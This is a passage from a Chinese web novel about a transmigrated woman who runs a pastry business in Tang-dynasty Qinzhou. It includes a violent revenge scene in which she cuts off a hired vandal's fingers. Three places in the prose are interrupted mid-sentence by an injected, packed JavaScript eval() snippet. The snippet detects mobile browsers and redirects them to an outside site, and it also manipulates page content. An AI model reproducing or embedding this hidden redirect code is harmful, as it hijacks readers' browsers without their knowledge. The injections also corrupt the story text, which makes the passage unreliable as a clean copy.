也是给她提了个醒,她一介手无缚鸡之力的小娘子,若是没个护卫的,遇上麻烦恐怕多半吃亏。 “娘子心善,我去开药,一会儿送到娘子这里来便是。” 谢过郎中后,裴清梧回去看了一眼那少年,仍旧在昏睡,但暂时应当没什么大碍了,便先去厨房,琢磨点心。 除了龙须酥,她还想做些鲜花饼出来。 先前备好的猪油尚有余温,将其倒入精细筛过的麦粉中,以竹筷徐徐搅动,揉捏按压,渐渐揉出一团细腻光滑的油酥面团,置于一旁醒着,又另取面粉,加入些许井水与一点酪浆,反复揉搋成软硬适中的水面团。 待面团醒好,擀开成薄片,包裹住油酥面团,捏紧边缘,复又擀开叠起,如此三番,方得层次分明的酥皮。 取小块酥皮,填入满满一勺蜜渍玫瑰酱,捏拢成小儿拳头大小的扁圆饼胚,最后找来一个刻着简单缠枝纹的鹅形陶制小印模,在饼胚表面轻轻一压,留下雅致的纹样。 胡炉里的炭火已烧得通红炽热,做好的生饼胚一个个贴在炉膛内壁,小心掌控着火候。 炉温催逼下,酥皮迅速膨胀,色泽由白转黄,渐次染上诱人的金棕焦边。 不多时,馥郁扑鼻的甜香混合着麦香油脂香,冲破了灶间的烟火气,丝丝缕缕溢满了小小的院落。 “滋啦”一声轻响,裴清梧用长柄铁铲将第一炉几个烤好的鲜花饼铲出炉膛。 那饼子酥皮层层分明,边缘金黄焦脆,印模压出的花纹清晰可见,隐约透出内里深艳的馅色,热气腾腾地躺在粗陶盘中,香气更是汹涌澎湃。 恰在此时,身后榻上传来了带着痛楚的细微抽气声。 裴清梧回身望去。 只见床榻上的少年已然醒了,一双黑白分明的眼睛睁得极大,如同受惊的幼鹿,紧紧锁定着她,身体僵直,满是警惕与不安。 他显然听到了铲饼的声音,也闻到了那浓郁甜香,但身体的重伤和对陌生环境的疑虑压倒了饥饿感。 裴清梧心下了然,并不立刻靠近,而是从容地拿起一个刚出炉的鲜花饼,轻轻吹了吹气,缓步走到离榻几步远的地方停下。 “醒了?折腾这半晌,肚腹空空了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾恒猛地抬头,对上裴清梧含着笑意的清澈眼眸,脸更红了,嘴唇动了动,终究倔强地别过头去,不肯叫出声。 裴清梧也不强求,换了个话题:“顾恒,你家在何处?是何营生?缘何落得这般重伤,流落至此?” 她顿了顿,补充道:“总要知晓根底,才好与官府报备留客。” 提到这个,顾恒身体瞬间绷紧,眼神再次变得警惕防备,垂着头,双手死死攥紧了盖在身上的粗布被褥,紧抿双唇一言不发。 裴清梧看他反应,心中早已猜到了几分,她轻叹一声:“顾恒,你瞧我,一介手无寸铁的小娘子,在这偌大秦州城,赁此陋舍,做些点心糊口,白日里你也见了,若无倚仗,遇上些泼皮无赖,便是有理也难说清。” 顿了顿后,目光坦诚地看向他:“你身手看来不错,胆子也够大,我身边正缺个能看顾门户、震慑宵小的护卫,你若愿意,我雇你,只管吃住,月钱另算,如何?” 顾恒猛地抬眼,怔怔地看着裴清梧,仿佛在确认她话中的真假。 “只是……”裴清梧话锋一转,正色道:“你若留下,身份来历便不能含糊,官府户籍,可是查验得紧,不明不白的人,我也不敢收。” 长久的沉默笼罩着小小的斗室,只有胡炉里的炭火偶尔发出轻微的噼啪声。 顾恒的胸膛剧烈起伏着,仿佛内心经历着剧烈的挣扎。 终于,他像是耗尽了所有力气,闭上眼,声音干涩沙哑地开了口,每一个字都带着屈辱和痛苦:“我家在大市坊西南曲巷醉月楼,阿娘是里头一位花魁娘子,不知父为谁……后来鸨母见我、见我颜色好……逼我做、做……”他艰难地吐出那耻辱的称呼:“做嬖童接客……我不肯,就被、被打成这般……还是阿娘偷偷放了我……” 说到最后,他的声音已低不可闻,身体微微颤抖,将脸深深埋进臂弯,不敢去看裴清梧的表情。 低贱的伎人之子,险些沦为玩物的出身,在这世间,只会遭人唾弃。 然而,预料的奚落并未到来。 一只温暖的手,带着轻柔的力道,落在他因紧张而微微发抖的发顶,轻轻地揉了揉。 顾恒浑身一僵,难以置信地抬起泪眼朦胧的脸。 只见裴清梧脸上并无半分轻视鄙薄,眼神平静,甚至还带着一丝温和的怜悯。 “明白了。”她收回手:“放心在我这儿养伤。待你伤好些,能行走了,我便带你去州衙。” 顾恒惊愕地瞪大了眼。 裴清梧微微一笑:“销了那劳什子贱籍,你就再也不用担心醉月楼的人找上来了。” 4. 有仇必报 说话间,郎中已拿了药来,用粗麻纸分包好,又细细叮嘱了煎制之法与服用时辰。 裴清梧接过药包,正欲取铜钱付账,郎中却摆手止了她。 “小娘子且收着吧。”郎中望着里屋榻上隐约的人影,轻叹一声:“看这少年郎遭此横祸,也是可怜见的……小娘子营生不易,某这药钱,便先赊着,待日后手头宽裕了再说不迟。” 裴清梧一怔,随即敛衽福身,语气恳切:“多谢郎中体恤,这份情分,清梧记下了。” 郎中摆摆手,自去了。 次日天刚蒙蒙亮,裴清梧便起身,在小泥炉上支了铁锅,添了井水。 待水沸,取出发好的面剂子,巧手翻飞,不多时便捏出数十只薄皮小馄饨,个个玲珑剔透,如白蝶浮水。 又调了汤底,撒上葱花姜末,滴几滴香油,霎时香气便弥漫开来。 她端着两碗热气腾腾的馄饨进屋时,顾恒已醒了,正靠在榻头,见她进来,眼神依旧带着几分戒备,却不如先前那般紧绷。 “刚出锅的馄饨,趁热吃吧。”裴清梧将一碗放在他手边的矮几上,自己端了另一碗,在对面坐下。 碗中汤色清亮,馄饨皮薄如纸,隐约可见碧茵茵的茴香内馅,葱花翠绿,香油浮面,热气袅袅间,那股鲜醇香气直往人鼻腔里钻。 顾恒喉结动了动,终究抵不过腹中空空与食物的诱惑,小心翼翼地端起碗,用木勺舀了一个,吹了吹,送入口中。 皮薄馅鲜,汤汁醇厚,暖意顺着喉咙滑下,熨帖了五脏六腑。 他许久未曾吃过这般热乎妥帖的吃食,一时间竟忘了防备,连吃了几个,才想起什么似的,抬眼看向裴清梧,见她正安静地吃着,并未留意自己,便又低下头,加快了速度,只是动作间已收敛了昨日的狼吞虎咽。 吃完馄饨,裴清梧收拾了碗筷,对顾恒道:“我今日还得去街上卖点心,你且在家歇着,看好门户,莫要乱走动,免得牵动伤口。” 顾恒默不作声地点点头,看着她将龙须酥与鲜花饼分装在食盒里,又取了一叠裁好的素色笺纸,上面用小楷写了“酥山小集”四字,旁侧还细细描了朵简单的玫瑰,底下是她赁居的巷弄地址。 昨晚她想了许久,才决定取“昨夜如酥山雨来,幽禽啄尽小桃开”①之意,有了这么一个别致的名字,应当能在什么阁什么记中脱颖而出。 “这是?”顾恒忍不住开口,声音还有些沙哑。 “摆摊终归不是长远计,便想着做些这个,遇着相熟的主顾,便递一张,也好让他们知晓去处,等再赚些钱,就将前院改成铺面,省的风里来雨里去。”裴清梧笑了笑,将笺纸折好,放进食盒侧袋里:“你且歇着,我去去就回。” 说罢,她提着食盒出门,往昨日摆摊的露水市而去。 才到街口,便有昨日买过龙须酥的老主顾迎上来:“小娘子,今日有那雪花儿一样的糕点么?昨日瞧着旁人吃的香,自个儿没买着,心里直痒痒。” “有的,不仅有龙须酥,还有新做的鲜花饼,刚出炉呢。”裴清梧笑着应道,打开食盒,霜雪万缕的龙须酥和金黄油亮的鲜花饼露了出来,香气四溢。 随着她的吆喝,和老主顾的前来,不多时,围拢来的人便多了起来,你一块我一盒,叫卖声夹杂着铜钱碰撞的脆响,不到一个时辰,食盒便空了大半。 遇着熟客或是问起常卖处的,她便递上一张素笺:“这是奴家住处,若不嫌弃,可上门来寻。” 众人见那笺纸做得雅致,字迹娟秀,都觉新奇,纷纷收下,赞不绝口。 “裴小娘子心思巧,这般法子倒省事。” “往后想吃点心,便照着这地址寻去,省得跑空。” 日头渐高时,点心已卖得差不多了。裴清梧收了摊子,想着顾恒的伤,又绕去药铺,将郎中赊的药钱还了些,才提着空食盒往回走。 若要把生意做大做强,只她一人哪里忙的过来?等再赚些钱,一定要聘几位点心师傅来,一起忙活。 正想着,一阵肉香扑鼻而来,裴清梧下意识望去,是从一个肉包子摊子上传来的,主事的汉子一边拿巾帕擦着汗,一边掀开蒸屉,露出里边的包子来,个个圆圆胖胖,可把裴清梧馋死了。 自从穿来这个时代,为了省钱,她好久没吃肉了,今儿早上的馄饨也是茴香素馅的,一闻到这个味,泪水就不争气地从嘴角流了下来。 问明七文钱一个后,裴清梧痛痛快快买了三个。 花了二十一文不耽误攒钱,别亏了这张嘴才重要。 顾不得烫,裴清梧当即就拿了一个吃,肉是精瘦肉,剁得细细的,搀了胡椒,入口汁水四溢,满是肉香。 好吃! 一直吃完,裴清梧才想起来,如今小院里不只自己一个人,还有顾恒这么个半大小子呢,连忙又买了三个,放在食盒里妥帖地带回去。 甫一推开院门,裴清梧就觉不对。 “你回来了?”顾恒的声音远远传来,而后,他从里间屋子里走了出来,伤还没彻底养好,一张脸犹显苍白,却比昨日被捡到的时候,多了几分生气。 “是……发生什么事了吗?”裴清梧问道。 顾恒点点头:“嗯。” 而后他侧开身,屋子敞着门,裴清梧是能看见地上躺了一个人,被五花大绑着,嘴里还堵了东西,正是昨日来闹事的黄脸汉子。 “他怎么又来了?” “我在里边闭目躺着,忽然听见一阵动静,这人不知怎么摸了进来,鬼鬼祟祟的,要砸你的院子。”顾恒厌恶道:“好在我发现的及时,才没造成什么损失。” “别啊!”裴清梧一听,大惊失色。 这院子里的炊具食材,可都是她安身立命的本钱,真要被毁了,她是要跟那些人拼命的。 她连忙过去查看,果然如顾恒所说,有几罐玫瑰酱已经被砸翻在地,红艳艳的洇透了糯米粉,混杂着灰尘,一片狼藉。 “这……”裴清梧倒吸一口凉气,只觉得心头那股怒火再也压不住。 好在顾恒发现得及时,除了这几罐酱和粉遭殃,灶上的铁锅蒸屉,盛放点心的竹篾笼等重要家什都完好无损。 饶是如此,看着辛苦熬制的玫瑰酱和准备做点心的糯米粉糟蹋成这样,也足够让她心痛难当。 强压下翻涌的怒意,转身对顾恒道:“多亏你了,若非你机警,今日怕是要遭大难。” 说完,她想起手里的肉包子,忙取出来递给顾恒:“快吃点垫垫,看你这脸色白的,肉包子,新出炉的!” 顾恒接过包子,目光在她脸上停留片刻,低声道:“特意带给我的?” 裴清梧被他看得有些心虚,面上努力维持着镇定,避开他的视线,含糊应道:“嗯,快趁热吃吧。” 安抚了顾恒,裴清梧的脸色瞬间沉了下来。 她走到那被捆着的黄脸汉子面前,居高临下地看着他,顾恒则一手拿着包子,另一手默契地将他口中的破布扯掉。 那汉子一能开口,立刻涕泪横流地求饶:“小娘子饶命!小娘子饶命啊!我、我也是猪油蒙了心,收了别人的钱,替人办事……求小娘子高抬贵手,莫要送我去见官!我再也不敢了!” “饶命?”裴清梧厉声道:“昨日便红口白牙污蔑我,今日还竟敢闯进来毁我家当!说,哪只手砸的?” 汉子浑身发抖,下意识地想缩回右手,却被捆得动弹不得,只得哭嚎道:“是、是右手……小娘子饶了我吧!” 裴清梧不再多言,转身走到灶边,从刀架上取下一把平日里切菜剁馅的厚背菜刀,而后走回汉子面前。 顾恒见状,眉头蹙了一下,但并未出声阻拦,只是绷紧了身体,警惕地盯着那汉子。 汉子见那寒光闪闪的菜刀,吓得魂飞魄散,泄物齐流,哀嚎震天:“别!别剁!小娘子饶命!饶命啊!” 裴清梧眼神冷冽,不为所动,只示意顾恒按住那汉子的右手臂。 “说!谁指使你的?供出幕后主使!否则,你这只手,就别想要了!” “我说!我说!”恐惧瞬间压倒了所有顾虑,汉子嘶声喊道:“是孙成!还有他那老娘刘氏!是他们给了我五百文钱,让我来砸了你的院子,毁了你的营生!是他们!都是他们指使的!”他涕泪糊了满脸,语无伦次:“求小娘子饶了我吧!我再也不敢了!” 孙成?刘氏?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230892|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这两个个名字像一根冰冷的针,刺中了裴清梧的记忆。 竟是这两个不要脸的东西。 再仔细看地上这涕泪横流的汉子,怪道昨日觉得熟悉可不就是刘氏娘家那边一个游手好闲的远房亲戚吗,家里似乎也摆个小摊,卖些粗劣点心,但平时少有人光顾。 原来如此! 被告到官府挨了板子的妒恨,加上对她生意的眼红,竟让他们使出如此下作的手段。 裴清梧冷哼一声,眼中寒意更盛,没有丝毫犹豫,手起刀落。 “啊——!!!”一声凄厉的惨叫猛地响起,又戛然而止——汉子竟生生痛晕了过去。 地上,两根属于手指赫然滚落,鲜血瞬间涌出,浸湿了地面散落的糯米粉和灰尘。 裴清梧面不改色,仿佛只是切了两根萝卜,她用刀尖挑起那两根滴血的断指,走到院中水缸旁,舀水草草冲了一下血污,顺手从晾晒的竹竿上扯下两片宽大的新鲜荷叶,将那两根断指仔细包裹起来,扎紧。 “让他滚,然后等我回来。”她对着屋内眼神复杂的顾恒说罢,提着那包着断指的荷叶包,头也不回地大步走出院门,朝着孙家的方向,疾步而去。 因怀着愤怒,裴清梧脚下生风,不多时便来到孙家宅院。 孙家大门正好虚掩着,她抬脚便踹了进去。 “砰!”的一声巨响,惊动了院内众人。 刘氏正坐在廊下嗑着瓜子,指挥着小女儿晾晒东西,闻声吓了一跳,扭头看见是裴清梧,三角眼立刻倒竖起来,刻薄话脱口而出:“好你个丧门星的小贱蹄子!竟敢踹我家的门?这般撒泼,你……” 她话音未落,一个带着浓烈血腥味的荷叶包被裴清梧狠狠砸在她面前的地上。 荷叶包滚了两滚,松散开来,两根惨白带血的手指赫然滚落在刘氏绣花的鞋尖前。 老虔婆脸上的刻薄瞬间化为极致的恐惧,血色“唰”地褪得一干二净,整个人像被抽了骨头似的猛地向后软倒,连叫唤都忘记了,只顾着手脚并用、连滚带爬地向后退去,直到脊背重重撞在廊柱上才停下。 她双眼瞪得几乎要脱出眼眶,死死盯着地上那两根断指,嘴唇哆嗦得如同风中落叶,仿佛下一秒就要背过气去。 尚且年幼的孙家小女更是吓得魂飞魄散,尖叫连连,躲得远远的。 裴清梧立在院中,身影纤瘦,却带着一股令人胆寒的煞气,她冷冷地看着抖成一滩烂泥的刘氏,声音不大,却清晰至极,每一个字都像冰锥子,狠狠扎进刘氏的耳朵里:“刘氏,认得这物件么?” 刘氏浑身剧震,目光死死钉在那两根断指上,一股寒气从脚底板直冲天灵盖。 她当然认得,那是她娘家不成器的远亲,刘狗儿的右手食指和中指,指头上那颗痣,再好分辨不过了。 “认、认得……”刘氏的声音抖得不成样子,带着哭腔:“是、是狗儿……你……你好狠的心肠!你竟敢……” “我狠毒?”裴清梧唇角勾起一抹冰冷的弧度,向前逼近一步,逼得刘氏又惊恐地往后缩,恨不得把自己嵌进廊柱里。 “若非我那小院有人警觉,我辛苦置办下的炊具食材,安身立命的根本,此刻怕已化作一地狼藉!砸人生计,断人活路,这就不叫狠毒?刘狗儿已然全招了,拿人钱财,替人消灾……”她顿了顿,目光牢牢锁住刘氏那张因恐惧而扭曲的脸:“先是当街造谣,后是遣人毁家,步步紧逼,真当我是那没脚蟹,任凭揉搓不成?” 刘氏被她眼中的杀气和地上那刺目的断指吓得魂飞魄散,又惊又怒,更兼心虚到了极点,浑身抖如筛糠,只能死死抓着廊柱,连一句完整反驳的话都说不出来。 “今日你且记着,等你家二郎回来,也烦请转告……”裴清梧的声音陡然拔高:“再有下次,无论是他亲自来,还是派些阿猫阿狗来,砸我一件物什,我便断你们一肢!不信,大可试试!” 最后一个字落下,如同冰珠坠地,带着森冷的回响。 裴清梧冰冷的目光扫过面无人色的刘氏,和噤若寒蝉的孙小妹,再不多看一眼,转身拂袖而去。 留下身后一片死寂和空气中弥漫不散的浓重血腥与恐惧。 5. 难得机会 唐朝律法还是很注重保护个人安全了,且是刘氏母子先买凶在前,真闹到官府前也无理,裴清梧料定了他们会吃这一个哑巴亏,所以才敢如此行事。 想来,这么闹一下,刘氏母子是能安分几日的。 几日摆摊卖点心,裴清梧赚到了不少钱,小院也翻修了一下,前院临街的屋子改成了点心铺,将原本的院墙打通,装上了几扇可拆卸的厚重木门板,白日里尽数卸下,整个铺面便敞向街市,夜晚闭上,就是独属她自己的家。 铺子内侧,靠墙一溜排开的是新打的结实木架,上面整齐码放着数个宽口浅沿的竹编簸箕,垫着干净的白麻布,盛满了金黄酥脆的各式点心,有如千层霜雪的龙须酥、香气扑鼻的鲜花饼、裹着蜜糖的酥皮果子…… 每种点心簸箕前,都挂着一个打磨光滑的小木牌,用墨笔清晰地写着点心名目与价格。 铺子中央最显眼的位置,是一张半人高的长条形柜台,柜台面打磨得光洁平整,上面摆着几个敞口的青瓷碟子,展示着当日最精致的几样点心样品,方便客人挑选,柜台靠外侧的边缘微微高出几分,防止点心滚落。 柜台一角,嵌着一个带盖的木制小钱匣子,收钱找零甚是方便。 柜台内侧靠墙的地方,挨着点心架,安置了一个小小的泥炉,上面坐着一把陶壶,壶嘴里偶尔逸出淡淡的水汽,既能温着些需热食的点心,也能随时备着热水招待熟客。 整个铺面虽不大,陈设也简单,但处处透着干净整洁与实用便利,弥漫着新鲜点心的甜香,吸引着过往行人的目光。 只有一点,裴清梧犯了愁。 开店没有牌匾可不行,可自己的那手小楷太过娟秀,似乎不太适宜做门头揽客。 要不,哪天去找曾经帮助过自己的张公张俭,求求他帮自己写一副? 还未等真正行动,那日,她正在后院研究如何在此时代做正宗的常州大麻糕出来,便见顾恒自店内过来。 “东家,有人找。” 顾恒死活不肯管她叫一声阿姐,裴清梧拗不过来,只好随他去了。 “谁啊。”她拍了拍手上的面粉,疑惑地问道。 “看样子,应当是哪家高门显贵的小娘子。” 这个时代贵庶分明,是专门上了律法的,衣食住行都有严苛的区别,顾恒又是在青楼这种复杂的地方长大,自然一眼能辨别。 “行,我去看看。”裴清梧赶紧将自己收拾好,过去查看。 柜台前,站了一位身着靛蓝细麻布衫的中年妇人,头戴素银簪、神色端肃的,身后几步开外,临街停着一辆装饰雅致却不失贵气的青帷油壁马车,车辕旁侍立着两位垂手恭谨的小厮,车窗帘幕低垂,隐约可见内里端坐着一个纤细的身影。 那妇人见裴清梧出来,目光锐利地上下打量了她一番,才微微颔首:“这位便是酥山小集的东家裴娘子?” “正是奴家。”裴清梧福了福身,礼数周到。 这妇人的仪态规矩,显然是高门大户里训练有素的仆妇。 “我家娘子乃秦州刺史赵公府上千金,娘子听闻裴东家点心手艺绝佳,特来相见,娘子身份贵重,不便轻入市井铺面,请东家移步车前叙话。” 裴清梧心中了然,刺史千金,封疆大吏之女,确实是顶顶的贵人,在这阶层森严的朝代,贵女不入市肆乃是常理,能亲临她这小铺门口已是难得,要求她上前回话更是理所当然。 她并未感到被冒犯,反而觉得这是个极好的机会——若能接下刺史府邸的宴席点心订单,对她这小店的名声和日后生计,都将是莫大的助益。 “是,奴家遵命。” 走出敞开的铺门,来到那辆散发着淡淡檀木清香的马车旁站定,阳光透过细密的珠帘缝隙,隐约勾勒出车内少女端坐的轮廓。 “娘子,东家来了。”妇人恭敬道。 珠帘被一只素手拂开,露出里边端坐的少女,约莫十五六岁的年纪,肌肤莹白如凝脂,眉眼弯弯似新月,着一袭烟霞色蹙金绣襦裙,鬓边斜插一支累丝嵌宝金步摇,随着她轻抬眼帘的动作,步摇上的珍珠流苏轻轻晃动,映得日光都添了几分柔和。 “久闻裴东家之名,我早听府里人说过,裴东家之前在公堂上引经据典,驳斥得婆家人哑口无言,还得了阿爷判的自立女户文书,当时便觉得这位娘子定然不凡……” 少女的声音也是清泠悦耳,宛如珠玉轻碰:“后来又尝过侍女带回来的点心,觉得不凡,正好过几日我在府中设小宴以招待相熟的姐妹们,那些厨子做的我都吃絮了,不知裴东家可愿接下这个活计,所需材料、工钱,只管开口,我绝不含糊。” 裴清梧心中一定,知道重头戏来了,这何止是一桩生意,更是难得的机缘,若是赵娘子和她的朋友们满意,岂不是揽客的活招牌。 她微微欠身,郑重应道:“承蒙赵娘子青眼,奴家敢不从命?必当竭尽所能,不负所托。只是不知宴席规模、宾客偏好,以及所需点心的种类数量几何,以及娘子偏好何种口味?或是有什么忌讳?妾身也好提前备下,拟定几样拿手且合用的点心单子供娘子参详。” 赵娘子似是沉吟了片刻,站在一旁的仆妇立刻默契地代为开口,开始详细交代宴席细节与要求。 裴清梧专注地听着,心中飞快盘算着各种点心的搭配与可行性。 “席间都是秦州城内与我要好的小娘子,口味倒无甚挑剔,只是要些样式精巧、滋味新奇的便好!材料嘛,府里库房都有,我这就让人随你去取,或是你列个单子,让他们采买也成……素秋。” 伴在她身侧的侍女立刻恭敬地应了一声。 “把银子给裴东家。” “是。”那唤素秋的侍女往妇人手里递了个精巧的荷包,妇人又递给裴清梧,拿在手上掂了掂,份量不小。 “若是做的好,我另重重有赏。” 裴清梧当即眼睛一亮:“谢娘子抬爱,奴家定不负娘子厚望!” 赵娘子轻轻笑了一下,放下珠帘,侍立的小厮立刻催车夫驾车离去。 裴清梧立刻折返回店内,拆开荷包一看,里头竟是白花花的银子,足足有十两! 高中的时候听历史老师说,别看古装剧里动不动赏银的,实际银子在古代,只有达官贵人才用,寻常老百姓可能到老都见不到一两银,穿越之后,裴清梧也的确只见铜板不见白银,乍一看,险些被晃花眼。 十两银等于一万文钱,可买一千到三千三百斗米,按现代四元一斤的米价算,相当于五到十六万人民币了。 如果,赵娘子满意,还赏银子的话…… 发财了发财了! 顾恒来的时候,见到的就是自己东家捧着个荷包,傻乎乎地笑着。 “东……” 裴清梧一把抓住他的手,眼中闪着狂喜的光:“阿恒,你东家我要发财了!银子,白花花的银子啊……” 顾恒被她抓得长眉微蹙,嘶嘶倒抽冷气:“东、东家……疼,疼……” 裴清梧这才慌忙松手。 激动过后,便是考量。 赵娘子生在锦绣堆,一应吃食,无不精细,眼光会很高,那么,准备什么,才会让她满意呢? 正思索着,刺史府已经来了两位仆妇,请裴清梧前往府中看点心材料。 嘱咐好顾恒看好家后,裴清梧跟她们上了马车。 这还是她第一次坐马车,与想象中的颠簸不同,良骏跑得极稳,车内铺着柔软的锦缎坐垫,触手生温柔角落固定着一张精巧的小几,上头搁着个小小的青瓷香炉,一缕若有似无的檀香缭绕,与车壁散发的木香融为一体,比现代的好多网约车出租车还舒服。 而这,仅仅只是两位仆妇出门时所坐。 裴清梧对古代“高门显贵”四个字,算 是有了切身体会。 一路穿街过巷,只觉秦州城的喧嚣鼎沸扑面而来。 青石板路被无数车辙马蹄踏磨得光润如鉴,两旁店铺的幡旗绣着各色纹样,在风中猎猎招展,胡商操着浓重的异域口音吆喝香料宝石,夹杂着中原货郎清亮的叫卖声,一同此起彼伏,驼铃叮当与马蹄得得汇成一片喧阗的市井洪流,昭示着这丝路重镇的不凡气度。 行至刺史府邸,那威严气象更是令人屏息。 朱漆府门巍峨高耸,其上金钉熠熠生辉,足显三品大员之威仪,石阶如砥,两侧石狮昂首踞坐,鬃毛虬张,爪牙森然,双目如炬俯瞰街衢,寻常人等未及近前,已自心生敬畏。 门楣之上,“赵府”二字的鎏金匾额灿然生光,字迹遒劲,应是当朝某位名公手笔,透着煊赫与尊荣。 门房仆役身着锦缘皂衣,腰悬铜牌,肃立如松,眼神锐利地扫视着往来动静,气度森严,远非寻常富户可比。 入得府门,绕过精雕细琢、绘有祥云瑞兽的影壁,眼前豁然开朗。 抄手游廊九曲回环,廊柱皆以丹砂涂饰,梁枋彩绘着飞天乐伎、山海珍禽,绚丽夺目,廊下每隔几步便悬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230893|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着琉璃风灯,白日里亦流光溢彩,可想见入夜后是何等辉煌。 往□□院深深,奇花异草依太湖石堆叠的假山布置,更有几株西域移来的珍品,嫣红姹紫,吐露异香,汉白玉砌就的雕栏环绕着一方碧波池水,池中锦鲤如霞,悠游自得。 其间仆婢如织,皆衣饰鲜洁,步履轻快,有捧着鎏金托盘疾步而过的侍女,盘中时令鲜果堆叠如小山;有手执拂尘、侍立廊下的管事,神态恭谨却不失威严;还有怀抱各色物品的杂役穿梭于月洞门间……端的一派钟鸣鼎食之家、勋贵权门的气象。 两位仆妇引着裴清梧一路走,绕过主院那气派非凡的五间九架正堂,穿过一道垂花门,方至一处较为清幽雅致的跨院,院中栽着几竿翠竹,一架荼蘼,虽少了前庭的张扬,却也透着低调的精致与考究。 库房便在此院,其中一位张妈妈推开厚重的楠木门扇,堆笑道:“裴东家请入内随意拣选,府中所藏之物,皆为上品佳物,尽管放心取用便是。” 库房内,米面粮油堆积如山,新舂的粳米粒粒莹润似玉,上等的雪花盐如霜似雪,蜜饯果脯盛在阔口琉璃罐中,琥珀色的杏脯、玛瑙般的樱桃煎、晶莹的梨膏糖诱人垂涎,各色坚果分门别类,栗子饱满如金丸,松子清香扑鼻。 更有那远道而来的珍奇,西域贩来的葡萄干紫玉流光,饱满欲滴;波斯国的金黄胡桃壳薄仁香;角落里还码放着几匣来自岭南的椰枣、安南的香橼……琳琅满目,香气氤氲,仿佛囊括了半个天下的物华天宝。 豪横,太豪横了。 心念流转间,裴清梧询问道:“妈妈盛情,清梧铭感五内,府上食材果然精良非凡,令人大开眼界,不知府上可有新鲜洁净的牛乳?或是凝结的奶皮子?” “奶皮子?”张妈妈眼中掠过一丝讶异,随即笑道:“东家放心,新鲜酪浆和乳糜,自是每日庖厨新制的,这奶皮子虽稀罕些,府上却也常备,多是胡姬烹制奶茶凝出的精华,最是香浓养人,我这就着人速速取来。” “有劳妈妈。”裴清梧道谢,目光却不由自主地飘向库房角落,那里安静地放置着几件厚重古朴的石器。 巨大的石磨盘槽口光滑,乌亮的石臼沉稳敦实。 《齐民要术》有载“抨酥法”,需反复捶打分离乳脂,耗时费力,若想尝试做出现代蓬松暄软如云朵的蛋糕,或是酥脆掉渣、奶香四溢的酥饼,非得设法改良这油脂提取不可。 交代过后,裴清梧背着手,视察一般在库房中游走,目光落在西域胡桃与杏仁上,灵光一闪——若用石磨细细研磨炒熟的胡麻杏仁,或许能榨取出更纯净细腻的胡麻油或杏仁油?而后以这个时代的奶皮子为基础,反复过滤捶打,能否分离出更纯粹的乳脂?纵无冰箱冷藏定型,但为了解暑,高门显贵们皆会窖藏冰块,也许能用上。 思量间,正思量间,一名青衣小婢捧着个素面阔口的越窑青瓷大碗,步履轻快地走来。 碗内凝着一层厚逾一指的奶皮,其色泽微黄,凝脂如玉,浓郁的乳香随着小婢的靠近,幽幽弥漫开来,纯粹得不掺一丝杂味。 “裴娘子要的,可是此物?” “我看看……”裴清梧小心翼翼地接过瓷碗,试探着碰了碰,指尖立刻感受到那凝脂般柔腻厚实的触感,浓郁的奶香钻入鼻息,让她心头一阵抑制不住的雀跃。 此物,正是她这个鬼主意的关键。 用一把小银匙,于边缘小心翼翼地刮取下一片薄薄的奶皮,置于掌心,迎着窗外斜射进来的天光,细细观察其细腻的纹理与半透明的光泽。 含脂量不错,应该能成。 “烦请妈妈,再为我准备一个结实些的深腹陶钵、一支木杵,还有一小桶洁净的井水,最好能透心凉的那种。”裴清梧转头对张妈妈说道。 张妈妈虽心中疑惑,但见她神情郑重,又有自家娘子嘱咐,立刻吩咐小婢去准备。 不多时,器物齐备。 裴清梧看着眼前齐全的东西,系上围裙,搓了搓手,准备大干一场。 这要做好了,可真是银子来银子来,银子从四面八方来,说不定还能搭上大主顾,有个做生意的靠山。 裴清梧先将那碗珍贵的奶皮小心翼翼地刮入陶钵中,置于盛放冰凉井水的木桶里降温,权作模拟低温环境。 而后,便拿起沉重的木杵,开始沿着陶钵内壁,用力且匀速地搅打那凝脂状的奶皮。 “笃、笃、笃……” 沉闷的捶打声在安静的库房内响起。 6. 新鲜点心 起初,奶皮只是被捣碎,变成更细小的凝块,裴清梧的手臂很快开始酸胀,但她不敢停歇,脑中反复回忆着打发奶油的原理——通过搅打迫使空气进入脂肪颗粒,破坏其原有结构,使其包裹空气膨胀。 这在没有乳化剂和低温恒温的古代,无异于一场豪赌。 汗水渐渐浸湿了她的鬓角,张妈妈和小婢在一旁看得目瞪口呆,不明白这捶打有何意义。 时间一点点流逝,钵中的乳脂由块状变得粘稠,颜色似乎也略略变浅了些,散发出更加浓郁的奶香,裴清梧咬紧牙关,加快了速度,变换着捶打的角度,手臂的酸痛已近极限,就在她快要放弃时,一丝微不可察的坚韧感从木杵下传来。 她敏锐地察觉到变化,立刻更加专注地沿一个方向用力搅打。 